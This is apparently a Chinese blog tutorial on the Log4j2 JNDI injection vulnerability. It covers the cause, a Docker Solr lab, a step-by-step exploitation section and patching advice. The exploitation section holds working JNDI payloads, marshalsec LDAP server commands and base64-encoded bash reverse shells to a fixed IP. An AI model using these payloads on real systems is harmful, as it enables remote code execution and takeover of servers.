Java日志框架Log4j2漏洞
Java日志框架Log4j2漏洞
hihopkcApache Log4j 简介
Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
漏洞简介
log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。
下面是触发漏洞的两部分关键代码:
org.apache.logging.log4j.core.pattern.MessagePatternConverter
的format()
方(表达式内容替换):
这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。
在 ${ 中可以使用的部分关键词如下:
- log4j-java
1 | ${java:version} getSystemProperty("java.version") |
- Linux
1 | ${env:CLASSPATH} |
2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容
替换)
日志在打印时当遇到 ${ 后,Interpolator 类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用lookup 方法,最后将 key 作为参数带入执行。
由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:
1 | ${jndi:ldap://ip/port/exp} |
最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令整个利用流程分两步:
第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。
整个利用流程如图所示:
JNDI注入中RMI和LDAP与JDK版本的关系:
漏洞范围
影响组件应用
- Apache Struts2
- Apache Solr
- Apache Druid
- Apache Flink
- srping-boot-strater-log4j2
影响Log4j版本
Apache Log4j 2.0 ~ 2.15.0-rc1
漏洞利用
环境搭建
docker-compose.yml
1 | version: '2' |
1 | docker-compose up -d |
POC测试
http://dnslog.cn/
https://www.callback.red/
1 | ${jndi:ldap://9xovk0.dnslog.cn} |
1 | ${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn} |
1 | http://IP地址:端口/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vebwc2.dnslog.cn} |
编写并编译恶意代码
1 | # Touch.java |
1 | javac Touch.java |
编写以下的恶意文件Exploit.java,我们企图反弹shell,因此对应的bash命令为
1 | bash -i >& /dev/tcp/47.236.16.67/7777 0>&1 |
然后对上述命令进行base64编码
https://ares-x.com/tools/runtime-exec
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvNzc3NyAwPiYx}|{base64,-d}|{bash,-i} |
1 | //Exploit.java |
1 | javac Exploit.java |
并在此目录开启http服务,命令如下:
1 | python3 -m http.server |
启动LDAP服务
- 创建文件
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.236.16.67:8000/#Touch" 9999 |
- 反弹shell
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://47.236.16.67:8000/#Exploit" 9999 |
监听端口
1 | nc -lvvp 7777 |
发送Payload
- 创建文件
1 | ${jndi:ldap://47.236.16.67:9999/Touch} |
- 反弹shell
1 | ${jndi:ldap://47.236.16.67:9999/Exploit} |
得到Shell
利用工具
- 下载 JNDI-Injection-Exploit 工具
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
构造命令执行
1
bash -i >& /dev/tcp/47.236.16.67/9090 0>&1
java-runtime-exec 转换:
1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}
工具使用
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A 攻击机ip"
1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4yMzYuMTYuNjcvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}" -A "47.236.16.67"
得到反弹shell的EXP
1
${jndi:ldap://47.236.16.67:1389/jfjnqo}
得到shell
漏洞修复建议
通用修补建议
升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
临时修补建议
- 设置JVM启动参数 -Dlog4j2.formatMsgNoLookups=true 。
- 尽量使用JDK 版本大于 11.0.1、8u191、7u201、6u211 ,需要注意的是,即使是使用了 JDK 高版本也不能完全保证安全,依然存在本地绕过的情况。
- 限制不必要的业务访问外网。
- 采用 rasp 对 lookup 的调用进行阻断